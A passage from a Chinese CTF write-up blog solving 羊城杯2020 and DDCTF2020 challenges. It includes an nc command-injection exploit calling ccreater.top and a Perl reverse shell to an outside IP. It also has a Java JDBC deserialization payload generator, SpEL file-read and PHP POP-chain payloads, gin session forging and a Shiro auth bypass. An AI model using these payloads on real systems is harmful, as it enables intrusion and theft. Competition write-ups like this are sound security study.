羊城杯2020

羊城杯 2020

题外话

这次拿了第三,帮苏哥扬名很开心(队名:甜甜的恋爱与苏哥有关):joy:

对于我这个🥬:baby_chick: 来说还是挺好的

com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
360 883 394 719 183 923 431 873 678 798 1007 1018 160 467 684 288 801 251 991 721 326 529 479 786 199 275 814 835 956 176 720 549 590 304 816 10514983
822 520 807 909 36 513 663 319 527 806 190 213 750 260 358 516 188 882 695 619 118 304 277 459 822 123 356 630 802 1011 556 408 545 896 953 8672626
717 243 440 842 40 779 127 408 537 150 918 925 462 890 277 743 448 595 267 115 299 681 929 166 648 428 326 72 595 895 557 752 442 210 286 7647213
20 664 312 720 579 938 821 802 172 465 661 121 569 730 669 530 12 503 480 798 481 917 238 85 654 638 869 676 583 655 17 899 346 585 124 9059689
642 599 51 755 409 640 239 70 69 919 913 104 203 524 770 930 251 373 292 499 603 69 813 1010 937 315 191 719 444 127 987 85 848 955 363 8105071
488 718 257 133 1007 142 897 70 65 160 546 648 790 448 900 310 18 523 392 595 640 284 849 83 384 976 44 472 434 829 987 111 92 789 993 7583209
464 669 740 236 876 266 534 597 799 290 619 812 655 897 159 810 606 808 763 577 498 953 1016 7 736 50 734 397 1 883 456 278 883 1006 301 9813063
388 364 318 475 753 473 753 375 84 26 520 184 1023 971 263 973 896 839 60 306 772 910 787 174 518 325 205 136 808 902 638 980 418 624 882 8934784
332 666 462 268 190 331 76 999 931 686 237 525 612 201 136 920 398 836 122 582 710 348 873 127 606 851 197 194 393 799 399 934 975 53 145 8265602
676 158 397 796 891 277 301 561 658 231 587 807 508 73 420 990 797 137 656 494 886 556 698 601 314 28 942 799 906 762 235 745 422 112 69 8906990
938 405 685 339 53 44 861 233 836 74 647 843 760 634 999 658 815 652 376 172 839 388 224 28 846 815 52 404 987 927 790 489 376 56 459 8898943
78 412 817 519 588 469 810 178 309 694 567 301 598 792 433 279 772 949 899 848 914 611 861 719 401 129 786 912 708 284 940 784 197 988 940 10115461
938 689 506 915 568 882 291 554 97 888 914 740 388 698 422 481 443 454 904 430 1010 826 972 728 342 519 212 909 708 518 691 258 494 363 981 10279244
894 865 667 844 496 337 748 686 153 776 727 287 798 108 14 335 680 138 340 65 405 494 927 664 871 522 900 54 655 500 750 56 111 273 496 7192064
319 675 450 810 219 268 31 424 732 1017 800 650 806 124 463 461 242 149 999 647 891 658 717 377 313 876 64 298 472 708 272 436 953 525 840 8669041
913 929 896 460 18 367 976 883 263 120 988 417 702 1019 399 651 353 423 112 311 862 683 275 478 739 893 135 809 63 364 181 507 18 996 414 8964322
351 716 903 476 21 109 861 592 327 136 354 114 928 288 33 308 60 44 553 326 601 63 741 802 239 752 495 933 875 172 613 353 554 976 854 7215073
786 784 387 450 624 575 553 154 71 714 469 669 896 502 869 831 202 150 743 368 165 240 728 536 1019 55 1006 170 295 613 441 502 989 409 798 8681868
8 608 378 623 140 832 641 685 683 820 728 949 310 510 452 666 602 513 39 852 278 28 978 306 616 280 824 36 768 964 596 874 922 959 18 9009965
434 238 147 2 64 820 473 110 876 711 891 1021 380 230 936 112 558 534 858 218 436 800 366 94 644 839 1016 727 863 524 732 505 688 996 694 9323233
366 115 801 676 561 199 219 197 807 259 201 394 701 440 1019 120 696 631 562 965 621 105 385 133 687 589 226 743 604 813 180 537 68 727 417 7838602
515 826 753 549 593 486 992 610 591 321 685 615 110 734 710 112 109 1017 755 68 552 217 682 558 861 1003 363 476 315 156 360 832 773 252 557 9223162
883 747 540 720 679 478 45 910 84 841 1015 113 82 731 85 552 430 771 504 136 794 128 19 1005 878 327 582 535 846 344 146 531 991 711 414 8706730
498 953 79 629 796 742 726 491 133 742 168 452 399 277 995 676 520 690 898 903 234 678 0 827 279 831 834 893 422 207 435 293 180 268 955 9970522
552 172 551 90 291 336 616 943 47 317 48 628 644 434 738 707 620 479 504 319 101 906 128 270 346 596 740 819 928 233 31 869 279 701 158 7881629
596 67 953 395 544 923 189 454 929 684 797 297 428 164 788 682 917 397 9 227 839 897 34 767 737 335 105 618 115 336 879 136 131 177 113 8566453
717 31 5 257 845 545 419 569 9 366 684 133 52 346 30 203 101 433 635 974 840 262 632 751 53 217 454 638 53 154 267 396 784 800 311 7486378
118 960 307 65 826 959 229 528 955 206 350 553 448 710 578 656 563 891 445 519 802 294 915 97 59 630 770 801 978 549 541 904 144 615 54 9364748
238 455 363 647 684 400 1006 127 5 248 128 381 676 599 196 890 577 590 143 513 874 770 32 614 16 662 606 143 326 384 245 236 839 644 607 8370183
223 896 922 223 149 897 873 184 350 824 393 38 625 84 50 64 857 889 104 365 177 964 397 941 904 1012 780 736 545 102 795 37 314 629 922 8391555
838 497 263 731 631 662 851 125 914 527 536 424 635 373 502 389 433 22 752 119 558 701 227 585 688 947 15 741 164 800 547 685 537 676 864 9369252
805 986 243 584 987 497 866 526 480 984 668 927 473 19 921 223 45 340 7 31 863 548 40 754 548 998 768 888 476 208 678 436 611 329 489 9724217
598 15 64 563 597 442 689 980 174 862 457 745 631 546 580 596 549 1011 286 93 74 143 56 72 206 756 72 125 844 1015 1000 928 474 884 594 7947611
784 441 438 394 802 590 323 525 357 778 906 194 873 197 192 746 363 689 160 802 302 856 335 118 1016 304 193 767 308 585 523 494 437 346 859 8364295
1003 992 57 630 267 37 731 281 607 181 296 487 96 736 523 243 337 88 508 643 765 267 619 628 544 581 971 105 608 297 709 281 424 257 902 8652387

观察格式发现是一个36*35的矩阵,很容易想到是一个35元一次线性方程组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from z3 import *

a="""360 883 394 719 183 923 431 873 678 798 1007 1018 160 467 684 288 801 251 991 721 326 529 479 786 199 275 814 835 956 176 720 549 590 304 816 10514983
822 520 807 909 36 513 663 319 527 806 190 213 750 260 358 516 188 882 695 619 118 304 277 459 822 123 356 630 802 1011 556 408 545 896 953 8672626
717 243 440 842 40 779 127 408 537 150 918 925 462 890 277 743 448 595 267 115 299 681 929 166 648 428 326 72 595 895 557 752 442 210 286 7647213
20 664 312 720 579 938 821 802 172 465 661 121 569 730 669 530 12 503 480 798 481 917 238 85 654 638 869 676 583 655 17 899 346 585 124 9059689
642 599 51 755 409 640 239 70 69 919 913 104 203 524 770 930 251 373 292 499 603 69 813 1010 937 315 191 719 444 127 987 85 848 955 363 8105071
488 718 257 133 1007 142 897 70 65 160 546 648 790 448 900 310 18 523 392 595 640 284 849 83 384 976 44 472 434 829 987 111 92 789 993 7583209
464 669 740 236 876 266 534 597 799 290 619 812 655 897 159 810 606 808 763 577 498 953 1016 7 736 50 734 397 1 883 456 278 883 1006 301 9813063
388 364 318 475 753 473 753 375 84 26 520 184 1023 971 263 973 896 839 60 306 772 910 787 174 518 325 205 136 808 902 638 980 418 624 882 8934784
332 666 462 268 190 331 76 999 931 686 237 525 612 201 136 920 398 836 122 582 710 348 873 127 606 851 197 194 393 799 399 934 975 53 145 8265602
676 158 397 796 891 277 301 561 658 231 587 807 508 73 420 990 797 137 656 494 886 556 698 601 314 28 942 799 906 762 235 745 422 112 69 8906990
938 405 685 339 53 44 861 233 836 74 647 843 760 634 999 658 815 652 376 172 839 388 224 28 846 815 52 404 987 927 790 489 376 56 459 8898943
78 412 817 519 588 469 810 178 309 694 567 301 598 792 433 279 772 949 899 848 914 611 861 719 401 129 786 912 708 284 940 784 197 988 940 10115461
938 689 506 915 568 882 291 554 97 888 914 740 388 698 422 481 443 454 904 430 1010 826 972 728 342 519 212 909 708 518 691 258 494 363 981 10279244
894 865 667 844 496 337 748 686 153 776 727 287 798 108 14 335 680 138 340 65 405 494 927 664 871 522 900 54 655 500 750 56 111 273 496 7192064
319 675 450 810 219 268 31 424 732 1017 800 650 806 124 463 461 242 149 999 647 891 658 717 377 313 876 64 298 472 708 272 436 953 525 840 8669041
913 929 896 460 18 367 976 883 263 120 988 417 702 1019 399 651 353 423 112 311 862 683 275 478 739 893 135 809 63 364 181 507 18 996 414 8964322
351 716 903 476 21 109 861 592 327 136 354 114 928 288 33 308 60 44 553 326 601 63 741 802 239 752 495 933 875 172 613 353 554 976 854 7215073
786 784 387 450 624 575 553 154 71 714 469 669 896 502 869 831 202 150 743 368 165 240 728 536 1019 55 1006 170 295 613 441 502 989 409 798 8681868
8 608 378 623 140 832 641 685 683 820 728 949 310 510 452 666 602 513 39 852 278 28 978 306 616 280 824 36 768 964 596 874 922 959 18 9009965
434 238 147 2 64 820 473 110 876 711 891 1021 380 230 936 112 558 534 858 218 436 800 366 94 644 839 1016 727 863 524 732 505 688 996 694 9323233
366 115 801 676 561 199 219 197 807 259 201 394 701 440 1019 120 696 631 562 965 621 105 385 133 687 589 226 743 604 813 180 537 68 727 417 7838602
515 826 753 549 593 486 992 610 591 321 685 615 110 734 710 112 109 1017 755 68 552 217 682 558 861 1003 363 476 315 156 360 832 773 252 557 9223162
883 747 540 720 679 478 45 910 84 841 1015 113 82 731 85 552 430 771 504 136 794 128 19 1005 878 327 582 535 846 344 146 531 991 711 414 8706730
498 953 79 629 796 742 726 491 133 742 168 452 399 277 995 676 520 690 898 903 234 678 0 827 279 831 834 893 422 207 435 293 180 268 955 9970522
552 172 551 90 291 336 616 943 47 317 48 628 644 434 738 707 620 479 504 319 101 906 128 270 346 596 740 819 928 233 31 869 279 701 158 7881629
596 67 953 395 544 923 189 454 929 684 797 297 428 164 788 682 917 397 9 227 839 897 34 767 737 335 105 618 115 336 879 136 131 177 113 8566453
717 31 5 257 845 545 419 569 9 366 684 133 52 346 30 203 101 433 635 974 840 262 632 751 53 217 454 638 53 154 267 396 784 800 311 7486378
118 960 307 65 826 959 229 528 955 206 350 553 448 710 578 656 563 891 445 519 802 294 915 97 59 630 770 801 978 549 541 904 144 615 54 9364748
238 455 363 647 684 400 1006 127 5 248 128 381 676 599 196 890 577 590 143 513 874 770 32 614 16 662 606 143 326 384 245 236 839 644 607 8370183
223 896 922 223 149 897 873 184 350 824 393 38 625 84 50 64 857 889 104 365 177 964 397 941 904 1012 780 736 545 102 795 37 314 629 922 8391555
838 497 263 731 631 662 851 125 914 527 536 424 635 373 502 389 433 22 752 119 558 701 227 585 688 947 15 741 164 800 547 685 537 676 864 9369252
805 986 243 584 987 497 866 526 480 984 668 927 473 19 921 223 45 340 7 31 863 548 40 754 548 998 768 888 476 208 678 436 611 329 489 9724217
598 15 64 563 597 442 689 980 174 862 457 745 631 546 580 596 549 1011 286 93 74 143 56 72 206 756 72 125 844 1015 1000 928 474 884 594 7947611
784 441 438 394 802 590 323 525 357 778 906 194 873 197 192 746 363 689 160 802 302 856 335 118 1016 304 193 767 308 585 523 494 437 346 859 8364295
1003 992 57 630 267 37 731 281 607 181 296 487 96 736 523 243 337 88 508 643 765 267 619 628 544 581 971 105 608 297 709 281 424 257 902 8652387"""
a=a.splitlines()
s=[]
result=[0]*35
for i in a:
s.append(i.split(" "))

solve = Solver()
X = [Int('x%s' % i) for i in range(35) ]
for i in range(len(s)):
for j in range(len(s[i][:-1])):
result[i]+=int(s[i][j])*X[j]
for i in range(len(s)):
solve.add(result[i]==int(s[i][-1]))
print solve.check()
m = solve.model()
print "traversing model..."
pri=[]
for i in range(35):
pri.append(int("%s" % (m[X[i]])))
print pri

GWHT{4b55c1d5fb6a0234fc252b19e510301a}

easycon

直接命令执行

blackhat

查看Hei_Mao_Jing_Chang.mp3发现源文件代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('˭�����Ҳ���һֻ����β�ͣ�');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
die('������׼�����������������������Ҫ��׼��Ŀ�ꡣ�����Լ���������ǿ����а��ĵ��ӵ���');
}

echo exec("nc".$_POST['One-ear']);

$_POST['White-cat-monitor']为空从而控制$clandestine

exp:

1
2
3
4
5
6
7
8
9
10
11
12
import hmac
import requests

cmd=b" ccreater.top:60006||cat /var/www/html/flag.php"
h = hmac.new(b"", cmd, digestmod='sha256').hexdigest()


burp0_url = "http://183.129.189.60:10022/"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"White-cat-monitor[]": '', "One-ear": cmd, "Black-Cat-Sheriff": h}
r=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)

拿到flag

easyphp2

扫目录发现robots.txt得到提示:

/?file=check.php

利用file处的任意文件读取获得 check.php内容(用zlib压缩绕过base64被ban),获得密码:GWHT,一次读取GWHT.php得知count参数可以任意命令执行,全局查找发现

/GWHT/system/of/a/down/flag.txt

http://183.129.189.60:10025/GWHT.php?count=123'%26%26cat+/GWHT/system/of/a/down/flag.txt%26%26sss%26%26'

/GWHT/目录下的readme存着GWHT的密码,去cmd5花一块钱解密得到密码

My password hash is 877862561ba0162ce610dd8bf90868ad414f0ec6. :GWHTCTF

/GWHT下findaas的内容(原本以为这个文件有S权限)

1
2
3
4
5
#! /bin/bash

echo "Enter a filename and find it here!"

find . -name $1

利用反弹shell来登陆GWHT

反弹shell

1
system('perl -e \'use Socket;$i="39.108.164.219";$p=60007;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

GWHT{Y0U_H4VE_A_BETTER_SK1LL}

easyjava

https://www.anquanke.com/post/id/203086
JDBC反序列化:
InfoInvocationHandler::invoke->Databaseinfo::checkAllInfo->DriverManager.getConnection

1
2
3
4
5
6
7
8
9
10
11
@GetMapping("/hello")
public String hello(@CookieValue(value = "data", required = false)String cookieData, Model model) {
if (cookieData == null || cookieData.equals("")) {
return "redirect:/index";
}
Info info = (Info)deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
}
return "hello";
}

DatabaseInfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


public class DatabaseInfo implements Serializable, Info {

...

private void connect() {
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
try {
this.connection = DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public Boolean checkAllInfo() {
if (this.host == null || this.port == null || this.username == null || this.password == null) {
return false;
}
if (this.connection == null) {
connect();
}
return true;
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class InfoInvocationHandler implements InvocationHandler, Serializable {
private Info info;

public InfoInvocationHandler(Info info) {
this.info = info;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) {
try {
if (method.getName().equals("getAllInfo")) {
if (!this.info.checkAllInfo()) {
return null;
}
}
return method.invoke(this.info, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

利用proxyinstance来调用InfoInvocationHandler 的invoke方法从而完成上述的利用链

利用这个来生成data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class test {
public static void main(String args[]){
DatabaseInfo db = new DatabaseInfo();
db.setHost("39.108.164.219");
db.setPort("60006");
//db.setUsername("yso_JRE8u20_calc&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&");
db.setUsername("Spring1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&");
db.setPassword("123456");
InvocationHandler handler = new InfoInvocationHandler(db);

ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bout);
out.writeObject(Proxy.newProxyInstance(handler.getClass().getClassLoader(), db.getClass().getInterfaces(), handler));
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(new String(Base64.getEncoder().encode(bout.toByteArray())));

}
}

测试发现CommonsCollections6和CommonsCollections5可以打通,但是由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,利用这个来绕过http://www.jackson-t.ca/runtime-exec-payloads.html
GWHT{5e97245bd9c98aad7040d461538e9231}

jdbc也可以直接读文件,但是这里不行,后来看别人的wp发现要加上设置:allowLoadLocalInfile=true

easyphp

写.htaccess从而rce

easyser

老套路了

DDCTF2020

DDCTF2020

拼图游戏

纯手工

image80

Web签到题

根据题目提示得到两个接口

1
2
3
4
5
6
7
8
9
10
11
12
Method | POST
URL | http://117.51.136.197/admin/login
Param | username str | pwd str
Response
token str | auth(Certification information)

- auth interface
Request
Method | POST
URL | http://117.51.136.197/admin/auth
Param | username str | pwd str | token str
Response

用c-jwt-cracker爆破login生成的jwt

得到下一步入口:

1
client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client

是一个go文件,叫二进制队友来逆

得到收发脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hmac
import base64
import time
import requests
t = time.time()
print(t)
t = str(t)

t = t[:10]
cmd="99-9"
s = "{}|".format(cmd) + t
print(s)
t = bytes(s, encoding = "utf8")
message = t
key = b'DDCTFWithYou'
h = hmac.new(key,message,digestmod='SHA256')
signature=base64.b64encode(h.digest()).decode()


burp0_url = "http://117.51.136.197:80/server/command"
burp0_headers = {"User-Agent": "Go-http-client/1.1", "Content-Type": "application/json", "Accept-Encoding": "gzip"}
burp0_json={"signature":signature ,"command": cmd, "timestamp": s[-10:]}
print(burp0_json)
r=requests.post(burp0_url, headers=burp0_headers, json=burp0_json,proxies={"http":""})
print(r.text)

但是在这里我卡住了,因为client是用go写的我也理所当然的认为后端也是用

go写的,于是就去试go的各种eval框架都不行,最后还是在别人的提示下才走出误区(应该写一个测试SSTI,eval等等的fuzz字典),经过一天的折腾后发现是SPeL

去网上找到了Ying师傅的payload

NEW java.util.Scanner(NEW java.io.BufferedReader(NEW java.io.FileReader(NEW java.io.File('/home/dc2-user/flag/flag.txt')))).nextLine()

DDCTF{Q24uf486whGOWN44UtZCjYUgdnnnRaVs}

卡片商店

目标是让我们拿到100个卡片,但是有时间限制,利用借入和借出来获得100个卡片显然是不现实的。

刚开始想的是条件竞争,后来测试后发现不行,在这里我被卡住了。

继续测试发现,这里存在着整数溢出漏洞(卡片数是个大整数,而借入借出是个小整数),我们让卡片数不溢出,而借入数溢出,就可以得到许多卡片。接着我们得到了一个SecKey和获取flag的地址:/flag,但是需要我们是admin账号

session:MTU5OTIyNTI5MXxEdi1CQkFFQ180SUFBUkFCRUFBQV80dl9nZ0FDQm5OMGNtbHVad3dJQUFaM1lXeHNaWFFHYzNSeWFXNW5ERlFBVW5zaWIzZHBibWR6SWpwYlhTd2lhVzUyWlhOMGN5STZXMTBzSW0xdmJtVjVJam93TENKdWIzZGZkR2x0WlNJNk1UVTVPVEl5TlRJNU1Td2ljM1JoY25SZmRHbHRaU0k2TVRVNU9USXlOVEk1TVgwR2MzUnlhVzVuREFjQUJXRmtiV2x1QkdKdmIyd0NBZ0FBfMaqAqFFw43-8z8EcAFY04oenUI0FyhjaW8KZXGH2uSX

对session进行解密发现,他的格式类似:base64encode(timestamp|base64urlencode(gob)|check)

利用https://gitlab.com/drosseau/degob 获得gob内容

map[interface{}]interface{}{"admin": false,"wallet": "{"owings":[{"OwingMoney":100000,"NeedMoney":100002,"OwingTime":1599223614}],"invests":[{"InvestMoney":100006,"ReceiveMoney":100009,"InvestTime":1599223644}],"money":0,"now_time":1599222955,"start_time":1599222835}"}

显然我们需要修改admin的值,在云屿师傅的帮助下知道了这是一个gin生成的session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)

func main() {
r := gin.Default()
store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
r.Use(sessions.Sessions("session", store))

r.GET("/incr", func(c *gin.Context) {
session := sessions.Default(c)
var count bool
v := session.Get("admin")
if v == nil {
count = true
} else {
count = v.(bool)
count = true
}
session.Set("admin", count)
session.Save()
c.JSON(200, gin.H{"admin": count})
})
r.Run(":8000")
}

得到flag:DDCTF{Th151s3AsY4ormE2333!}

Overwrite Me

题目环境:PHP/5.6.10

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
Welcome to DDCTF 2020, Have fun!

<?php
error_reporting(0);

class MyClass
{
var $kw0ng;
var $flag;

public function __wakeup()
{
$this->kw0ng = 2;
}

public function get_flag()
{
return system('find /HackersForever ' . escapeshellcmd($this->flag));
}
}

class HintClass
{
protected $hint;
public function execute($value)
{
include($value);
}

public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}

class ShowOff
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}

public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}

class MiddleMan
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}

public function __unset($key)
{
$func = $this->content;
return $func();
}
}

class Info
{
function __construct()
{
eval('phpinfo();');
}

}

$show = new ShowOff();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle1 = new stdClass;
$obstacle2 = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get_flag();
}

直接访问hint.php

得到:Good Job! You've got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39And i'll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!

看样子是要让我们利用GMP打他

这里不急先分析一下代码,构思一下可以利用的反序列化链

ShowOff::__wakeup->MiddleMan::__unset->$func();

$func=[MyClass,"get_flag"]实现任意命令执行,结束(GMP就不见了,盲猜出题人没限制好)

Easy Web

第一次熬夜杠题,真爽

登陆失败后响应体出现:RememberMe=DeleteMe,shiro稳了

尝试一下Shiro 反序列化,果然GG

https://shiro.apache.org/security-reports.html

去官网看下CVE,试一下发现存在CVE-2020-11989

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/index

绕过权限验证,发现任意文件读取接口

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=static/hello.jpg

(原本是想直接读取Shiro的key来直接打穿的,搞了好久都没找到)

常规思路:

  1. 先读取 web.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    <web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
    version="3.0" metadata-complete="false">
    <display-name>Archetype Created Web Application</display-name>
    <context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>classpath:spring-core.xml</param-value>
    </context-param>
    <listener>
    <listener-class>org.springframework.web.util.WebAppRootListener</listener-class>
    </listener>
    <listener>
    <listener-class>org.springframework.web.util.IntrospectorCleanupListener</listener-class>
    </listener>
    <listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
    <servlet>
    <servlet-name>springmvc</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>classpath:spring-web.xml</param-value>
    </init-param>
    </servlet>
    <servlet-mapping>
    <servlet-name>springmvc</servlet-name>
    <url-pattern>/</url-pattern>
    </servlet-mapping>
    <filter>
    <filter-name>encodingFilter</filter-name>
    <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
    <init-param>
    <param-name>encoding</param-name>
    <param-value>UTF-8</param-value>
    </init-param>
    <init-param>
    <param-name>forceEncoding</param-name>
    <param-value>true</param-value>
    </init-param>
    </filter>
    <filter-mapping>
    <filter-name>encodingFilter</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>
    <filter>
    <filter-name>safeFilter</filter-name>
    <filter-class>com.ctf.util.SafeFilter</filter-class>
    </filter>
    <filter-mapping>
    <filter-name>safeFilter</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>
    <filter>
    <filter-name>shiroFilter</filter-name>
    <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    <init-param>
    <param-name>targetFilterLifecycle</param-name>
    <param-value>true</param-value>
    </init-param>
    </filter>
    <filter-mapping>
    <filter-name>shiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>
    <error-page>
    <error-code>500</error-code>
    <location>/error.jsp</location>
    </error-page>
    <error-page>
    <error-code>404</error-code>
    <location>/hacker.jsp</location>
    </error-page>
    <error-page>
    <error-code>403</error-code>
    <location>/hacker.jsp</location>
    </error-page>
    </web-app>
  2. 依次读取class文件:
    http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/classes/com/ctf/util/SafeFilter.class

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    package com.ctf.util;

    import java.io.IOException;
    import java.util.Enumeration;
    import java.util.regex.Matcher;
    import java.util.regex.Pattern;
    import javax.servlet.Filter;
    import javax.servlet.FilterChain;
    import javax.servlet.FilterConfig;
    import javax.servlet.ServletException;
    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import javax.servlet.http.HttpServletResponse;

    public class SafeFilter
    implements Filter
    {
    private final String encoding = "UTF-8";
    private static String[] blacklists = { "java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io" };

    public void init(FilterConfig arg0)
    throws ServletException
    {}

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
    throws IOException, ServletException
    {
    request.setCharacterEncoding("UTF-8");
    response.setCharacterEncoding("UTF-8");
    Enumeration pNames = request.getParameterNames();
    while (pNames.hasMoreElements())
    {
    String name = (String)pNames.nextElement();
    String value = request.getParameter(name);
    for (String blacklist : blacklists)
    {
    Matcher matcher = Pattern.compile(blacklist, 34).matcher(value);
    if (matcher.find())
    {
    HttpServletResponse servletResponse = (HttpServletResponse)response;
    servletResponse.sendError(403);
    }
    }
    }
    filterChain.doFilter(request, response);
    }

    public void destroy() {}
    }

    然后其他的被waf过滤了
    读取web.xml中的其他配置文件

    http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/classes/spring-core.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
